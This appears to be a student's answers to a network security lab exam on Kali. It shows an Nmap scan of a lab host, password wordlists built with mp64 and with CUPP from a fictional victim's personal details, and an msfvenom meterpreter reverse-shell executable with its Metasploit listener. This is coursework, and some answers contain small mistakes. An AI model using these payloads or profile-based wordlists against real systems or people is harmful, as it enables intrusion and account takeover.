

Final exam

Q1. What Nmap command would you use to perform a **stealth SYN scan**, enable **OS detection**, and **save the results** to a file named **target_scan.txt** for the target IP?

Answer:

```
(moriarty@kali)-[~/final_network]
$ nmap -sS -O -oN target_scan.txt 10.0.2.4
```



```
(moriarty@kali)-[~/final_network]
$ cat target_scan.txt
# Nmap 7.94SVN scan initiated Tue May  6 00:03:15 2025 as: /usr/lib/nmap/nmap --privileged -sS -O -oN target_scan.txt 10.0.2.4
Nmap scan report for 10.0.2.4
Host is up (0.012s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 08:00:27:91:54:6F (Oracle VirtualBox virtual NIC)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=5/6%OT=21%CT=1%CU=41098%PV=Y%DS=1%DC=D%G=Y%M=080027
OS:%TM=6819B43F%P=x86_64-pc-linux-gnu)SEQ(SP=C1%GCD=1%ISR=CB%TI=Z%CI=Z%II=I
OS:%TS=5)SEQ(SP=C4%GCD=1%ISR=CD%TI=Z%CI=Z%II=I%TS=5)OPS(O1=M5B4ST11NW7%O2=M
OS:5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=M5B4ST11NW7%O6=M5B4ST11)WIN
OS:(W1=16A0%W2=16A0%W3=16A0%W4=16A0%W5=16A0%W6=16A0)ECN(R=Y%DF=Y%T=40%W=16D
OS:0%O=M5B4NNSNW7%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=0%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(
OS:R=Y%DF=Y%T=40%W=16A0%S=0%A=S+%F=AS%O=M5B4ST11NW7%RD=0%Q=)T4(R=Y%DF=Y%T=4
OS:0%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%
OS:Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z
OS:A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%
OS:RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
```

Q2. You are tasked with discovering live hosts on a local network. Compare the tools **netdiscover** and **arp-scan** by running the following commands:

- `sudo netdiscover`
- `sudo arp-scan -l`

What are the strengths and limitations of each tool in terms of host discovery on a local network?

Answer:

Feature / Tool	netdiscover	arp-scan
Discovery Method	ARP requests (passive and active modes)	Sends ARP requests to all IPs in subnet
Ease of Use	Interactive, menu-like interface	Command-line, script-friendly
Speed	Fast, but slower than arp-scan for large subnets	Very fast — sends packets in bulk
Output Format	Table (interactive)	Simple list; can be scripted or parsed easily
Customizability	Limited options	Highly customizable (interfaces, ranges, etc.)
Interface Detection	Automatic	Must often specify interface manually

Passive Detection	Yes (detects traffic without sending packets)	No
Root Privileges	Required	Required

Strength and Weakness:

netdiscover

Strengths:

- Simple to use and good for quick scans.
- Supports passive discovery mode — useful for stealth.
- Automatically selects an appropriate interface.

Limitations:

- Less customizable.
- Output is less script-friendly.
- Not ideal for automation or large-scale scans.

arp-scan

Strengths:

- Extremely fast and accurate.
- Highly scriptable and configurable (good for automation).
- Can spoof MAC addresses or set custom ranges.

Limitations:

- No passive mode — always active.
- You may need to manually specify the network interface.

Q3.1. You are tasked with generating a password wordlist that meets the following specific criteria. This list will be useful for a password cracking exercise or security testing:

- 1 or 2 lowercase letter
- 1 uppercase letters
- 1 or 2 numeric character

Answer:

```
(moriarty@kali)-[~/final_network]
$ mp64 -o wordlist.txt '?l?u?d?'

(moriarty@kali)-[~/final_network]
$ mp64 -o wordlist.txt '?l?u?d'          # 1 lowercase, 1 uppercase, 1 digit
mp64 -o wordlist.txt '?l?l?u?d'         # 2 lowercase, 1 uppercase, 1 digit
mp64 -o wordlist.txt '?l?u?d?d'         # 1 lowercase, 1 uppercase, 2 digits
mp64 -o wordlist.txt '?l?l?u?d?d'       # 2 lowercase, 1 uppercase, 2 digits

(moriarty@kali)-[~/final_network]
$ cat *.txt > combined_wordlist.txt

(moriarty@kali)-[~/final_network]
$ ls
combined_wordlist.txt  target_scan.txt  wordlist.txt

(moriarty@kali)-[~/final_network]
$ cat combined_wordlist.txt
```

Q3.2. You are performing a reconnaissance on a target user "John Adams", whose social media reveals:

- Nickname: Po
- Birthday: May 1, 1989
- Spouse: Jessie
- Pet's Name: pop
- Company Name: ABC Bank

Task: Use Cupp to generate a wordlist based on this information.
Show the command you used.

Answer:

```
cupp.py! # Common
          # User
          # Passwords
          # Profiler

          [ Muris Kurgas | j0rgan@remote-exploit.org ]
          [ Mebus | https://github.com/Mebus/ ]

[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)

> First Name: Po
> Surname:
> Nickname: Po
> Birthdate (DDMMYYYY): 01051989

> Partners) name: Jessie
> Partners) nickname:
> Partners) birthdate (DDMMYYYY):

> Child's name:
> Child's nickname:
> Child's birthdate (DDMMYYYY):

> Pet's name: Pop
> Company name: ABC Bank

> Do you want to add some key words about the victim? Y/[N]: N
> Do you want to add special chars at the end of words? Y/[N]: N
> Do you want to add some random numbers at the end of words? Y/[N]:N
> Leet mode? (i.e. leet = 1337) Y/[N]: Y

[+] Now making a dictionary...
[+] Sorting list and removing duplicates...
[+] Saving dictionary to po.txt, counting 4868 words.
[+] Now load your pistolero with po.txt and shoot! Good luck!
```

Q4. Generate 1 payload using MSFVenom, and explain its option

Answer:

```
(moriarty@kali)-[~/final_network/cupp]
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4444 -f exe -o reverse_shell.exe

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: reverse_shell.exe
```

Metasploit Documentation: <https://docs.metasploit.com/>

```
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.0.2.15
LHOST => 10.0.2.15
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.0.2.15:4444
```

Q5. Create a new user in your machine called, "cybr354exam", then setup inotify to save the events on modify, create, and delete along with the timestamps.

Answer:

```
(moriarty@kali)-[~/final_network]
$ sudo inotifywait -m /home/cybr354exam -e create,modify,delete --timefmt '%Y-%m-%d %H-%M-%S' -r --format '%T %e %w %f'
Setting up watches. Beware: since -r was given, this may take a while!
Watches established.
2025-05-06 01-13-17 CREATE /home/cybr354exam/ file.txt
2025-05-06 01-13-27 CREATE /home/cybr354exam/ .file.txt.swp
2025-05-06 01-13-27 MODIFY /home/cybr354exam/ .file.txt.swp
2025-05-06 01-13-28 DELETE /home/cybr354exam/ .file.txt.swp
2025-05-06 01-13-28 CREATE /home/cybr354exam/ .file.txt.swp
2025-05-06 01-13-28 MODIFY /home/cybr354exam/ .file.txt.swp
2025-05-06 01-13-31 MODIFY /home/cybr354exam/ file.txt
2025-05-06 01-13-31 MODIFY /home/cybr354exam/ file.txt
2025-05-06 01-13-31 DELETE /home/cybr354exam/ .file.txt.swp
2025-05-06 01-13-36 DELETE /home/cybr354exam/ file.txt
```